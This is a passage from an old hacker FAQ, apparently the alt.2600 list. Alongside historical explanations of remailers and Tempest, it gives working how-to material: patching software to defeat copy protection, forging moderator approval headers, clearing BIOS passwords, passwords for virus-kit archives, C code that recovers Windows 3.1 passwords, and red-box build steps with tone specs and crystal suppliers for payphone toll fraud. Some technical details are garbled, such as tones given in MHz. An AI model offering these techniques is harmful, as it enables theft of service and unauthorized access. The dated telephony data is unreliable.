A monitoring device can distinguish between different sources emitting radiation because the sources emanating the radiation are made up of dissimilar elements and so this coupled with other factors varies the emitted frequency. For example different electronic components in VDUs, different manufacturing processes involved in reproducing the VDUs, different line syncs, etc... By synchronizing our raster with the targets raster we can passively draw the observed screen in real-time. This technology can be acquired by anyone, not just government agencies.

The target could shield the emissions from her equipment or use equipment that does not generate strong emissions. However, Tempest equipment is not legal for civilian use in the United States.

Tempest is the US Government program for evaluation and endorsement of electronic equipment that is safe from eavesdropping. Tempest certification refers to the equipment having passed a testing phase and agreeing to emanations rules specified in the government document NACSIM 5100A (Classified). This document sets forth the emanation levels that the US Government believes equipment can give off without compromising the information it is processing.

31. What is an anonymous remailer?

This FAQ answer was written by Raph Levien:

An anonymous remailer is a system on the Internet that allows you to send e-mail or post messages to Usenet anonymously.

There are two sorts of remailers in widespread use. The first is the anon.penet.fi style, the second is the cypherpunk style. The remailer at anon.penet.fi is immensely popular, with over 160,000 users over its lifetime, and probably tens of thousands of messages per day. Its main advantage is that it's so easy to use. The cypherpunks mailers, which provide much better security, are becoming more popular, however, as there is more awareness of them.

The user of the anon.penet.fi system first needs to get an anonymous id. This is done either by sending mail to somebody who already has one (for example, by replying to a post on Usenet), or sending mail to ping@anon.penet.fi. In either case, penet will mail back the new anon id, which looks like an123456@anon.penet.fi. If an123456 then sends mail to another user of the system, then this is what happens:

1. The mail is transported to anon.penet.fi, which resides somewhere in the vicinity of Espoo, Finland.

2. These steps are carried out by software running on anon.penet.fi. Penet first looks up the email address of the sender in its database, then replaces it with the numeric code. All other information about the sender is removed.

3. Then, penet looks up the number of the recipient in the same database, and replaces it with the actual email address.

4. Finally, it sends the mail to the actual email address of the recipient.

There are variations on this scheme, such as posting to Usenet (in which step 3 is eliminated), but that's the basic idea.

Where anon.penet.fi uses a secret database to match anon id's to actual email addresses, the cypherpunks remailers use cryptography to hide the actual identities. Let's say I want to send email to a real email address, or post it to Usenet, but keep my identity completely hidden. To send it through one remailer, this is what happens.

1. I encrypt the message and the recipient's address, using the public key of the remailer of my choice.

2. I send the email to the remailer.

3. When the remailer gets the mail, it decrypts it using its private key, revealing as plaintext the message and the recipient's address.

4. All information about the sender is removed.

5. Finally, it sends it to the recipient's email address.

If one trusts the remailer operator, this is good enough. However, the whole point of the cypherpunks remailers is that you don't _have_ to trust any one individual or system. So, people who want real security use a chain of remailers. If any one remailer on the "chain" is honest, then the privacy of the message is assured.

To use a chain of remailers, I first have to prepare the message, which is nestled within multiple layers of encryption, like a Russian matryoshka doll. Preparing such a message is tedious and error prone, so many people use an automated tool such as my premail package. Anyway, after preparing the message, it is sent to the first remailer in the chain, which corresponds to the outermost layer of encryption. Each remailer strips off one layer of encryption and sends the message to the next, until it reaches the final remailer. At this point, only the innermost layer of encryption remains. This layer is stripped off, revealing the plaintext message and recipient for the first time. At this point, the message is sent to its actual recipient.

Remailers exist in many locations. A typical message might go through Canada, Holland, Berkeley, and Finland before ending up at its final location.

Aside from the difficulty of preparing all the encrypted messages, another drawback of the cypherpunk remailers is that they don't easily allow responses to anonymous mail. All information about the sender is stripped away, including any kind of return address. However the new alias servers promise to change that. To use an alias server, one creates a new email address (mine is raph@alpha.c2.org). Mail sent to this new address will be untraceably forwarded to one's real address.

To set this up, one first encrypts one's own email address with multiple layers of encryption. Then, using an encrypted channel, one sends the encrypted address to the alias server, along with the nickname that one would like. The alias server registers the encrypted address in the database. The alias server then handles reply mail in much the same way as anon.penet.fi, except that the mail is forwarded to the chain of anonymous remailers.

For maximum security, the user can arrange it so that, at each link in the chain, the remailer adds another layer of encryption to the message while removing one layer from the email address. When the user finally gets the email, it is encrypted in multiple layers. The matryoshka has to be opened one doll at a time until the plaintext message hidden inside is revealed.

One other point is that the remailers must be reliable in order for all this to work. This is especially true when a chain of remailers is used -- if any one of the remailers is not working, then the message will be dropped. This is why I maintain a list of reliable remailers. By choosing reliable remailers to start with, there is a good chance the message will finally get there.

32. What are the addresses of some anonymous remailers?

The most popular and stable anonymous remailer is anon.penet.fi, operated by Johan Helsingus. To obtain an anonymous ID, mail ping@anon.penet.fi.

The server at anon.penet.fi does it's best to remove any headers or other information describing its true origin. You should make an effort and try to omit information detailing your identity within such messages as quite often signatures not starting with "--" are including within your e-mail, this of course is not what you want. You can send messages to:

```
        anXXX@anon.penet.fi
```

Here you are addressing another anonymous user and your E-Mail message will appear to have originated from anon.penet.fi.

```
        alt.security@anon.penet.fi
```

Here you are posting an anonymous message to a whole Usenet group and in this case to alt.security which will be posted at the local site (in this case Finland).

```
        ping@anon.penet.fi
```

If you send a message to this address you will be allocated an identity (assuming you don't already have one). You can also confirm your identity here as well.

You can also set yourself a password, this password helps to authenticate any messages that you may send. This password is included in your outgoing messages, to set a password send E-Mail to password@anon.penet.fi with your password in the body of your text e.g.:

```
        To: password@anon.penet.fi
        Subject:
        TN0_rUlEz
```

For more information on this anonymous server send mail to:

```
        help@anon.penet.fi
```

Anonymous Usenet posting is frowned upon by other users of Usenet groups claiming their opinions are worthless. This is because they believe anonymity is used to shield ones self from attacks from opponents, while on the other hand it can be used to protect ones self from social prejudice (or people reporting ones opinions to ones superiors). Also if you are thinking this is a useful tool to use to hid against the authorities then think again, as there was a famous case where a Judge ordered the administrator of the server to reveal the identity of a poster.

To see a comprehensive list on anonymous remailers finger remailer-list@kiwi.cs.berkeley.edu or point your web browser to http://www.cs.berkeley.edu/~raph/remailer-list.html.

33. How do I defeat Copy Protection?

There are two common methods of defeating copy protection. The first is to use a program that removes copy protection. Popular programs that do this are CopyIIPC from Central Point Software and CopyWrite from Quaid Software. The second method involves patching the copy protected program. For popular software, you may be able to locate a ready made patch. You can them apply the patch using any hex editor, such as debug or the Peter Norton's DiskEdit. If you cannot, you must patch the software yourself.

Writing a patch requires a debugger, such as Soft-Ice or Sourcer. It also requires some knowledge of assembly language. Load the protected program under the debugger and watch for it to check the protection mechanism. When it does, change that portion of the code. The code can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to JMP (Jump Unconditionally). Or the code may simply be replaced with NOP (No Operation) instructions.

34. What is 127.0.0.1?

127.0.0.1 is a loopback network connection. If you telnet, ftp, etc... to it you are connected to your own machine.

35. How do I post to a moderated newsgroup?

Usenet messages consist of message headers and message bodies. The message header tells the news software how to process the message. Headers can be divided into two types, required and optional. Required headers are ones like "From" and "Newsgroups." Without the required headers, your message will not be posted properly.

One of the optional headers is the "Approved" header. To post to a moderated newsgroup, simply add an Approved header line to your message header. The header line should contain the newsgroup moderators e-mail address. To see the correct format for your target newsgroup, save a message from the newsgroup and then look at it using any text editor.

A "Approved" header line should look like this:

```
Approved: will@gnu.ai.mit.edu
```

There cannot not be a blank line in the message header. A blank line will cause any portion of the header after the blank line to be interpreted as part of the message body.

For more information, read RFC 1036: Standard for Interchange of USENET messages.

36. How do I post to Usenet via e-mail?

Through an e-mail->Usenet gateway. Send an a e-mail messages to <newsgroup>@<servername>. For example, to post to alt.2600 through nic.funet.fi, address your mail to alt.2600@nic.funet.fi.

Here are a few e-mail->Usenet gateways:

group.name@news.demon.co.uk
group.name@charm.magnus.acs.ohio-state.edu
group.name@undergrad.math.uwaterloo.ca
group.name@nic.funet.fi
group.name.usenet@decwrl.dec.com

37. How do I defeat a BIOS password?

This depends on what BIOS the machine has. Common BIOS's include AMI, Award, IBM and Phoenix. Numerous other BIOS's do exist, but these are the most common.

Some BIOS's allow you to require a password be entered before the system will boot. Some BIOS's allow you to require a password to be entered before the BIOS setup may be accessed.

Every BIOS must store this password information somewhere. If you are able to access the machine after it has been booted successfully, you may be able to view the password. You must know the memory address where the password is stored, and the format in which the password is stored. Or, you must have a program that knows these things.

The most common BIOS password attack programs are for Ami BIOS. Some password attack programs will return the AMI BIOS password in plain text, some will return it in ASCII codes, some will return it in scan codes. This appears to be dependent not just on the password attacker, but also on the version of Ami BIOS.

To obtain Ami BIOS password attackers, ftp to oak.oakland.edu /simtel/msdos/sysutil/.

If you cannot access the machine after if has been powered up, it is still possible to get past the password. The password is stored in CMOS memory that is maintained while the PC is powered off by a small battery, which is attached to the motherboard. If you remove this battery, all CMOS information will be lost. You will need to re-enter the correct CMOS setup information to use the machine. The machines owner or user will most likely be alarmed when it is discovered that the BIOS password has been deleted.

On some motherboards, the battery is soldered to the motherboard, making it difficult to remove. If this is the case, you have another alternative. Somewhere on the motherboard you should find a jumper that will clear the BIOS password. If you have the motherboard documentation, you will know where that jumper is. If not, the jumper may be labeled on the motherboard. If you are not fortunate enough for either of these to be the case, you may be able to guess which jumper is the correct jumper. This jumper is usually standing alone near the battery.

38. What is the password for <encrypted file>?

This FAQ answer was written by crypt <crypt@nyongwa.montreal.qc.ca>

Magazine	Password
VLAD Magazine Issue #1	vlad
VLAD Magazine Issue #2	vx
VLAD Magazine Issue #3	virus
NuKE InfoJournal Issue #2	514738

NuKE InfoJournal Issue #3	power
NuKE InfoJournal Issue #4	party

Program	
Sphere Hacker 1.40 & 1.41	theozone
Virus Creation 2000	high level
Virus Construction Lab	Chiba City
Ejecutor Virus Creator	EJECUTOR
Biological Warfare v0.90	lo tek
Biological Warfare v1.00	freak

39. Is there any hope of a decompiler that would convert an executable program into C/C++ code?

This FAQ answer is an excerpt from SNIPPETS by Bob Stout.

Don't hold your breath. Think about it... For a decompiler to work properly, either 1) every compiler would have to generate substantially identical code, even with full optimization turned on, or 2) it would have to recognize the individual output of every compiler's code generator.

If the first case were to be correct, there would be no more need for compiler benchmarks since every one would work the same. For the second case to be true would require in immensely complex program that had to change with every new compiler release.

OK, so what about specific decompilers for specific compilers - say a decompiler designed to only work on code generated by, say, BC++ 4.5? This gets us right back to the optimization issue. Code written for clarity and understandability is often inefficient. Code written for maximum performance (speed or size) is often cryptic (at best!) Add to this the fact that all modern compilers have a multitude of optimization switches to control which optimization techniques to enable and which to avoid. The bottom line is that, for a reasonably large, complex source module, you can get the compiler to produce a number of different object modules simply by changing your optimization switches, so your decompiler will also have to be a deoptimizer which can automagically recognize which optimization strategies were enabled at compile time.

OK, let's simplify further and specify that you only want to support one specific compiler and you want to decompile to the most logical source code without trying to interpret the optimization. What then? A good optimizer can and will substantially rewrite the internals of your code, so what you get out of your decompiler will be, not only cryptic, but in many cases, riddled with goto statements and other no-no's of good coding practice. At this point, you have decompiled source, but what good is it?

Also note carefully my reference to source modules. One characteristic of C is that it becomes largely unreadable unless broken into easily maintainable source modules (.C files). How will the decompiler deal with that? It could either try to decompile the whole program into some mammoth main() function, losing all modularity, or it could try to place each called function into its own file. The first way would generate unusable chaos and the second would run into problems where the original source hade files with multiple functions using static data and/or one or more functions calling one or more static functions. A decompiler could make static data and/or functions global but only at the expense or readability (which would already be unacceptable).

Finally, remember that commercial applications often code the most difficult or time-critical functions in assembler which could prove almost impossible to decompile into a C equivalent.

Like I said, don't hold your breath. As technology improves to where decompilers may become more feasible, optimizers and languages (C++, for example, would be a significantly tougher language to decompile than C) also conspire to make them less likely.

For years Unix applications have been distributed in shrouded source form (machine but not human readable -- all comments and whitespace removed, variables names all in the form OOIIOIOI, etc.), which has been a quite adequate means of protecting the author's rights. It's very unlikely that decompiler output would even be as readable as shrouded source.

40. How does the MS-Windows password encryption work?

This FAQ answer was written by Wayne Hoxsie <hoxsiew@crl.com>

The password option in MS Win 3.1 is easily defeated, but there are those of us who really want to know how MS does this. There are many reasons why knowing the actual password can be useful. Suppose a sysamin used the same password in the windows screen saver as his root account on a unix box.

Anyway, I will attempt to relay what I have learned about this algorithm.

I will describe the process starting after you've entered the password and hit the [OK] button.

I will make the assumtion that everyone (at least those interested) know what the XOR operation is.

First, the length of the password is saved. We'll call this 'len'. We will be moving characters from the entered string into another string as they are encrypted. We'll call the originally entered password 'plaintext' and the encrypted string(strings--there are two passes) 'hash1' and 'hash2.' The position in the plaintext is important during the process so we'll refer to this as 'pos.' After each step of the hashing process, the character is checked against a set of characters that windows considers 'special.' These characters are '[ ] =' and any character below ASCII 33 or above ASCII 126. I'll refer to this checking operation as 'is_ok.' All indecies are zero-based (i.e. an 8 character password is considered chars 0 to 7).

Now, the first character of 'plaintext' is xor'd with 'len' then fed to 'is_ok'. if the character is not valid, it is replaced by the original character of 'plaintext' before going to the next operation. The next operation is to xor with 'pos' (this is useless for the first operation since 'len' is 0 and anything xor'd with zero is itself) then fed to 'is_ok' and replaced with the original if not valid. The final operation (per character) is to xor it with the previous character of 'plaintext'. Since there is no previous character, the fixed value, 42, is used on the first character of 'plaintext'. This is then fed to 'is_ok' and if OK, it is stored into the first position of 'hash1' This process proceeds until all characters of plaintext are exhausted.

The second pass is very similar, only now, the starting point is the last character in hash1 and the results are placed into hash2 from the end to the beginning. Also, instead of using the previous character in the final xoring, the character following the current character is used. Since there is no character following the last character in hash1, the value, 42 is again used for the last character.

'hash2' is the final string and this is what windows saves in the file CONTROL.INI.

To 'decrypt' the password, the above procedure is just reversed.

Now, what you've all been waiting for. Here is some C code that will do the dirty work for you:

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int xor1(int i,int j)
{
  int x;

  x=i^j;
  return (x>126||x<33||x==91||x==93||x==61)?i:x;
}
void main()
{
  FILE *f;
  int i,l;
  char s[80],s1[80];

  printf("Please enter the path to your Windows directory\n");
  gets(s1);
  sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\");
  if((f=fopen(s,"rt"))==NULL){
    printf("File Error : %s\n",sys_errlist[errno]);
    exit(0);
  }
  while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f));
  fclose(f);
  strtok(s1,"=\n");
  strcpy(s,strtok(NULL,"\n"));
  i=strlen(s)-1;
  for(l=i;l>-1;l--)
    s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
  for(l=0;l<i+1;l++)
    s[l]=xor1(xor1(xor1(s1[l],l?s1[l-1]:42),l?l:0),i+1);
  printf("The Password is: %s\n",s);
}
```

Section B: Telephony

01. What is a Red Box?

When a coin is inserted into a payphone, the payphone emits a set of tones to ACTS (Automated Coin Toll System). Red boxes work by fooling ACTS into believing you have actually put money into the phone. The red box simply plays the ACTS tones into the telephone microphone. ACTS hears those tones, and allows you to place your call. The actual tones are:

Nickel Signal	1700+2200hz	0.060s on
Dime Signal	1700+2200hz	0.060s on, 0.060s off, twice repeating
Quarter Signal	1700+2200hz	33ms on, 33ms off, 5 times repeating

Canada uses a variant of ACTSD called N-ACTS. N-ACTS uses different tones than ACTS. In Canada, the tones to use are:

Nickel Signal	2200hz	0.060s on
Dime Signal	2200hz	0.060s on, 0.060s off, twice repeating
Quarter Signal	2200hz	33ms on, 33ms off, 5 times repeating

02. How do I build a Red Box?

Red boxes are commonly manufactured from modified Radio Shack tone dialers, Hallmark greeting cards, or made from scratch from readily available electronic components.

To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open the dialer and replace the crystal with a new one. The purpose of the new crystal is to cause the * button on your tone dialer to create a 1700Mhz and 2200Mhz tone instead of the original 941Mhz and 1209Mhz tones. The exact value of the replacement crystal should be 6.466806 to create a perfect 1700Mhz tone and 6.513698 to create a perfect 2200mhz tone. A crystal close to those values will create a tone that easily falls within the loose tolerances of ACTS. The most popular choice is the 6.5536Mhz crystal, because it is the easiest to procure. The old crystal is the large shiny metal component labeled "3.579545Mhz." When you are finished replacing the crystal, program the P1 button with five *'s. That will simulate a quarter tone each time you press P1.

03. Where can I get a 6.5536Mhz crystal?

Your best bet is a local electronics store. Radio Shack sells them, but they are overpriced and the store must order them in. This takes approximately two weeks. In addition, many Radio Shack employees do not know that this can be done.

Or, you could order the crystal mail order. This introduces Shipping and Handling charges, which are usually much greater than the price of the crystal. It's best to get several people together to share the S&H cost. Or, buy five or six yourself and sell them later. Some of the places you can order crystals are:

Digi-Key
701 Brooks Avenue South
P.O. Box 677
Thief River Falls, MN 56701-0677
(800)344-4539
Part Number:X415-ND   /* Note: 6.500Mhz and only .197 x .433 x .149! */
Part Number:X018-ND

JDR Microdevices:
2233 Branham Lane
San Jose, CA 95124
(800)538-5000
Part Number: 6.5536MHZ

Tandy Express Order Marketing
401 NE 38th Street
Fort Worth, TX 76106
(800)241-8742
Part Number: 10068625

Alltronics

2300 Zanker Road
San Jose CA 95131
(408)943-9774 Voice
(408)943-9776 Fax
(408)943-0622 BBS
Part Number: 92A057

Mouser
(800)346-6873
Part Number: 332-1066

Blue Saguaro
P.O. Box 37061
Tucson, AZ 85740
Part Number: 1458b

Unicorn Electronics
10000 Canoga Ave, Unit c-2
Chatsworth, CA 91311
Phone: 1-800-824-3432
Part Number: CR6.5

04. Which payphones will a Red Box work on?

Red Boxes will work on telco owned payphones, but not on COCOT's (Customer Owned Coin Operated Telephones).

Red boxes work by fooling ACTS (Automated Coin Toll System) into believing you have put money into the pay phone. ACTS is the telephone company software responsible for saying "Please deposit XX cents" and listening for the coins being deposited.

COCOT's do not use ACTS. On a COCOT, the pay phone itself is responsible for determining what coins have been inserted.

05. How do I make local calls with a Red Box?

Payphones do not use ACTS for local calls. To use your red box for local calls, you have to fool ACTS into getting involved in the call.

One way to do this, in some areas, is by dialing 10288-xxx-xxxx. This makes your call a long distance call, and brings ACTS into the picture.

In other areas, you can call Directory Assistance and ask for the number of the person you are trying to reach. The operator will give you the number and then you will hear a message similar to "Your call can be completed automatically for an additional 35 cents." When this happens, you can then use ACTS tones.

06. What is a Blue Box?

Blue boxes use a 2600hz tone to size control of telephone switches that use in-band signalling. The caller may then access special switch functions, with the usual purpose of making free long distance phone calls, using the tones provided by the Blue Box.

07. Do Blue Boxes still work?

This FAQ answer is excerpted from a message posted to Usenet by

Marauder of the Legion of Doom:

Somewhere along the line I have seen reference to something similar to "Because of ESS Blue boxing is impossible". This is incorrect. When I lived in Connecticut I was able to blue box under Step by Step, #1AESS, and DMS-100. The reason is simple, even though I was initiating my call to an 800 number from a different exchange (Class 5 office, aka Central Office) in each case, when the 800 call was routed to the toll network it would route through the New Haven #5 Crossbar toll Tandem office. It just so happens that the trunks between the class 5 (CO's) and the class 4 (toll office, in this case New Haven #5 Xbar), utilized in-band (MF) signalling, so regardless of what I dialed, as long as it was an Inter-Lata call, my call would route through this particular set of trunks, and I could Blue box until I was blue in the face. The originating Central Offices switch (SXS/ESS/Etc..) had little effect on my ability to box at all. While the advent of ESS (and other electronic switches) has made the blue boxers task a bit more difficult, ESS is not the reason most of you are unable to blue box. The main culprit is the "forward audio mute" feature of CCIS (out of band signalling). Unfortunately for the boxer 99% of the Toll Completion centers communicate using CCIS links, This spells disaster for the blue boxer since most of you must dial out of your local area to find trunks that utilize MF signalling, you inevitably cross a portion of the network that is CCIS equipped, you find an exchange that you blow 2600hz at, you are rewarded with a nice "winkstart", and no matter what MF tones you send at it, you meet with a re-order. This is because as soon as you seized the trunk (your application of 2600hz), your Originating Toll Office sees this as a loss of supervision at the destination, and Mutes any further audio from being passed to the destination (ie: your waiting trunk!). You meet with a reorder because the waiting trunk never "hears" any of the MF tones you are sending, and it times out. So for the clever amongst you, you must somehow get yourself to the 1000's of trunks out there that still utilize MF signalling but bypass/disable the CCIS audio mute problem. (Hint: Take a close look at WATS extenders).

08. What is a Black Box?

A Black Box is a resistor (and often capacitor in parallel) placed in series across your phone line to cause the phone company equipment to be unable to detect that you have answered your telephone. People who call you will then not be billed for the telephone call. Black boxes do not work under ESS.

09. What do all the colored boxes do?

Acrylic	Steal Three-Way-Calling, Call Waiting and programmable Call Forwarding on old 4-wire phone systems
Aqua	Drain the voltage of the FBI lock-in-trace/trap-trace
Beige	Lineman's hand set
Black	Allows the calling party to not be billed for the call placed
Blast	Phone microphone amplifier
Blotto	Supposedly shorts every phone out in the immediate area
Blue	Emulate a true operator by seizing a trunk with a 2600hz tone
Brown	Create a party line from 2 phone lines
Bud	Tap into your neighbors phone line

Chartreuse	Use the electricity from your phone line
Cheese	Connect two phones to create a diverter
Chrome	Manipulate Traffic Signals by Remote Control
Clear	A telephone pickup coil and a small amp used to make free calls on Fortress Phones
Color	Line activated telephone recorder
Copper	Cause crosstalk interference on an extender
Crimson	Hold button
Dark	Re-route outgoing or incoming calls to another phone
Dayglo	Connect to your neighbors phone line
Diverter	Re-route outgoing or incoming calls to another phone
DLOC	Create a party line from 2 phone lines
Gold	Dialout router
Green	Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity	Remotely activated phone tap
Jack	Touch-Tone key pad
Light	In-use light
Lunch	AM transmitter
Magenta	Connect a remote phone line to another remote phone line
Mauve	Phone tap without cutting into a line
Neon	External microphone
Noise	Create line noise
Olive	External ringer
Party	Create a party line from 2 phone lines
Pearl	Tone generator
Pink	Create a party line from 2 phone lines
Purple	Telephone hold button
Rainbow	Kill a trace by putting 120v into the phone line (joke)
Razz	Tap into your neighbors phone
Red	Make free phone calls from pay phones by generating quarter tones
Rock	Add music to your phone line
Scarlet	Cause a neighbors phone line to have poor reception
Silver	Create the DTMF tones for A, B, C and D
Static	Keep the voltage on a phone line high
Switch	Add hold, indicator lights, conferencing, etc..
Tan	Line activated telephone recorder
Tron	Reverse the phase of power to your house, causing your electric meter to run slower
TV Cable	"See" sound waves on your TV
Urine	Create a capacitative disturbance between the ring and tip wires in another's telephone headset
Violet	Keep a payphone from hanging up
White	Portable DTMF keypad
Yellow	Add an extension phone

Box schematics may be retrieved from these FTP sites:

ftp.netcom.com	/pub/br/bradleym
ftp.netcom.com	/pub/va/vandal
ftp.winternet.com	/users/nitehwk

10. What is an ANAC number?

An ANAC (Automatic Number Announcement Circuit) number is a telephone number that plays back the number of the telephone that called it. ANAC numbers are convenient if you want to know the telephone number of a pair of wires.

11. What is the ANAC number for my area?

How to find your ANAC number:

Look up your NPA (Area Code) and try the number listed for it. If that fails, try 1 plus the number listed for it. If that fails, try the common numbers like 311, 958 and 200-222-2222. If you find the ANAC number for your area, please let us know.

Note that many times the ANAC number will vary for different switches in the same city. The geographic naming on the list is NOT intended to be an accurate reference for coverage patterns, it is for convenience only.

Many companies operate 800 number services which will read back to you the number from which you are calling. Many of these require navigating a series of menus to get the phone number you are looking for. Please use local ANAC numbers if you can, as overuse or abuse can kill 800 ANAC numbers.

N	(800)425-6256	VRS Billing Systems/Integretel (800)4BLOCKME
	(800)568-3197	Info Access Telephone Company's Automated Blocking Line
	(800)692-6447	(800)MY-ANI-IS (Now protected by a passcode!)
N	(800)858-9857	AT&T True Rewards

A non-800 ANAC that works nationwide is 404-988-9664. The one catch with this number is that it must be dialed with the AT&T Carrier Access Code 10732. Use of this number does not appear to be billed.

Note: These geographic areas are for reference purposes only. ANAC numbers may vary from switch to switch within the same city.

	NPA	ANAC number	Approximate Geographic area
	201	958	Hackensack/Jersey City/Newark/Paterson, NJ
	202	811	District of Columbia
	203	970	CT
	205	300-222-2222	Birmingham, AL
	205	300-555-5555	Many small towns in AL
	205	300-648-1111	Dora, AL
	205	300-765-4321	Bessemer, AL
	205	300-798-1111	Forestdale, AL
	205	300-833-3333	Birmingham
	205	557-2311	Birmingham, AL
	205	811	Pell City/Cropwell/Lincoln, AL
	205	841-1111	Tarrant, AL
	205	908-222-2222	Birmingham, AL
	206	411	WA (Not US West)
	207	958	ME
	209	830-2121	Stockton, CA
	209	211-9779	Stockton, CA
	210	830	Brownsville/Laredo/San Antonio, TX
N	210	951	Brownsville/Laredo/San Antonio, TX (GTE)
	212	958	Manhattan, NY
	213	114	Los Angeles, CA (GTE)
	213	1223	Los Angeles, CA (Some 1AESS switches)
	213	211-2345	Los Angeles, CA (English response)
	213	211-2346	Los Angeles, CA (DTMF response)
	213	760-2???	Los Angeles, CA (DMS switches)
	213	61056	Los Angeles, CA
	214	570	Dallas, TX
	214	790	Dallas, TX (GTE)
	214	970-222-2222	Dallas, TX
	214	970-611-1111	Dallas, TX (Southwestern Bell)
	215	410-xxxx	Philadelphia, PA
	215	511	Philadelphia, PA
	215	958	Philadelphia, PA

	216	200-XXXX	Akron/Canton/Cleveland/Lorain/Youngstown, OH
	216	331	Akron/Canton/Cleveland/Lorain/Youngstown, OH
	216	959-9892	Akron/Canton/Cleveland/Lorain/Youngstown, OH
	217	200-xxx-xxxx	Champaign-Urbana/Springfield, IL
	219	550	Gary/Hammond/Michigan City/Southbend, IN
	219	559	Gary/Hammond/Michigan City/Southbend, IN
N	301	2002006969	Hagerstown/Rockville, MD
	301	958-9968	Hagerstown/Rockville, MD
	303	958	Aspen/Boulder/Denver/Durango/Grand Junction /Steamboat Springs, CO
N	305	200-555-1212	Ft. Lauderdale/Key West/Miami, FL
N	305	200200200200200	Ft. Lauderdale/Key West/Miami, FL
N	305	780-2411	Ft. Lauderdale/Key West/Miami, FL
	310	114	Long Beach, CA (On many GTE switches)
	310	1223	Long Beach, CA (Some 1AESS switches)
	310	211-2345	Long Beach, CA (English response)
	310	211-2346	Long Beach, CA (DTMF response)
	312	200	Chicago, IL
	312	290	Chicago, IL
	312	1-200-8825	Chicago, IL (Last four change rapidly)
	312	1-200-555-1212	Chicago, IL
	313	200-200-2002	Ann Arbor/Dearborn/Detroit, MI
	313	200-222-2222	Ann Arbor/Dearborn/Detroit, MI
	313	200-xxx-xxxx	Ann Arbor/Dearborn/Detroit, MI
	313	200200200200200	Ann Arbor/Dearborn/Detroit, MI
	314	410-xxxx#	Columbia/Jefferson City/St.Louis, MO
	315	953	Syracuse/Utica, NY
	315	958	Syracuse/Utica, NY
	315	998	Syracuse/Utica, NY
	317	310-222-2222	Indianapolis/Kokomo, IN
	317	559-222-2222	Indianapolis/Kokomo, IN
	317	743-1218	Indianapolis/Kokomo, IN
	334	5572411	Montgomery, AL
	334	5572311	Montgomery, AL
	401	200-200-4444	RI
	401	222-2222	RI
	402	311	Lincoln, NE
	404	311	Atlanta, GA
N	770	780-2311	Atlanta, GA
	404	940-xxx-xxxx	Atlanta, GA
	404	990	Atlanta, GA
	405	890-7777777	Enid/Oklahoma City, OK
	405	897	Enid/Oklahoma City, OK
U	407	200-222-2222	Orlando/West Palm Beach, FL (Bell South)
N	407	520-3111	Orlando/West Palm Beach, FL (United)
	408	300-xxx-xxxx	San Jose, CA
	408	760	San Jose, CA
	408	940	San Jose, CA
	409	951	Beaumont/Galveston, TX
	409	970-xxxx	Beaumont/Galveston, TX
	410	200-6969	Annapolis/Baltimore, MD
N	410	200-200-6969	Annapolis/Baltimore, MD
	410	200-555-1212	Annapolis/Baltimore, MD
	410	811	Annapolis/Baltimore, MD
	412	711-6633	Pittsburgh, PA
	412	711-4411	Pittsburgh, PA
	412	999-xxxx	Pittsburgh, PA
	413	958	Pittsfield/Springfield, MA
	413	200-555-5555	Pittsfield/Springfield, MA
	414	330-2234	Fond du Lac/Green Bay/Milwaukee/Racine, WI
	415	200-555-1212	San Francisco, CA
	415	211-2111	San Francisco, CA
	415	2222	San Francisco, CA
	415	640	San Francisco, CA

	415	760-2878	San Francisco, CA
	415	7600-2222	San Francisco, CA
	419	311	Toledo, OH
N	423	200-200-200	Chatanooga, Johnson City, Knoxville , TN
N	501	511	AR
	502	2002222222	Frankfort/Louisville/Paducah/Shelbyville, KY
	502	997-555-1212	Frankfort/Louisville/Paducah/Shelbyville, KY
	503	611	Portland, OR
	503	999	Portland, OR (GTE)
	504	99882233	Baton Rouge/New Orleans, LA
	504	201-269-1111	Baton Rouge/New Orleans, LA
	504	998	Baton Rouge/New Orleans, LA
	504	99851-0000000000	Baton Rouge/New Orleans, LA
	508	958	Fall River/New Bedford/Worchester, MA
	508	200-222-1234	Fall River/New Bedford/Worchester, MA
	508	200-222-2222	Fall River/New Bedford/Worchester, MA
	508	26011	Fall River/New Bedford/Worchester, MA
	509	560	Spokane/Walla Walla/Yakima, WA
	510	760-1111	Oakland, CA
	512	830	Austin/Corpus Christi, TX
	512	970-xxxx	Austin/Corpus Christi, TX
N	513	380-55555555	Cincinnati/Dayton, OH
	515	5463	Des Moines, IA
	515	811	Des Moines, IA
	516	958	Hempstead/Long Island, NY
	516	968	Hempstead/Long Island, NY
	517	200-222-2222	Bay City/Jackson/Lansing, MI
	517	200200200200200	Bay City/Jackson/Lansing, MI
	518	511	Albany/Schenectady/Troy, NY
	518	997	Albany/Schenectady/Troy, NY
	518	998	Albany/Schenectady/Troy, NY
N	540	211	Roanoke, VA (GTE)
N	540	311	Roanoke, VA (GTE)
N	541	200	Bend, OR
	603	200-222-2222	NH
	606	997-555-1212	Ashland/Winchester, KY
	606	711	Ashland/Winchester, KY
	607	993	Binghamton/Elmira, NY
	609	958	Atlantic City/Camden/Trenton/Vineland, NJ
	610	958	Allentown/Reading, PA
	610	958-4100	Allentown/Reading, PA
	612	511	Minneapolis/St.Paul, MN
	614	200	Columbus/Steubenville, OH
	614	571	Columbus/Steubenville, OH
	615	200200200200200	Chatanooga/Knoxville/Nashville, TN
	615	2002222222	Chatanooga/Knoxville/Nashville, TN
	615	830	Nashville, TN
	616	200-222-2222	Battle Creek/Grand Rapids/Kalamazoo, MI
	617	200-222-1234	Boston, MA
	617	200-222-2222	Boston, MA
	617	200-444-4444	Boston, MA (Woburn, MA)
	617	220-2622	Boston, MA
	617	958	Boston, MA
	618	200-xxx-xxxx	Alton/Cairo/Mt.Vernon, IL
	618	930	Alton/Cairo/Mt.Vernon, IL
	619	211-2001	San Diego, CA
	619	211-2121	San Diego, CA
N	659	220-2622	Newmarket, NH
N	703	211	VA
N	703	511-3636	Culpeper/Orange/Fredericksburg, VA
	703	811	Alexandria/Arlington/Roanoke, VA
	704	311	Asheville/Charlotte, NC
N	706	940-xxxx	Augusta, GA
	707	211-2222	Eureka, CA

	708	1-200-555-1212	Chicago/Elgin, IL
	708	1-200-8825	Chicago/Elgin, IL (Last four change rapidly)
	708	200-6153	Chicago/Elgin, IL
	708	724-9951	Chicago/Elgin, IL
	713	380	Houston, TX
	713	970-xxxx	Houston, TX
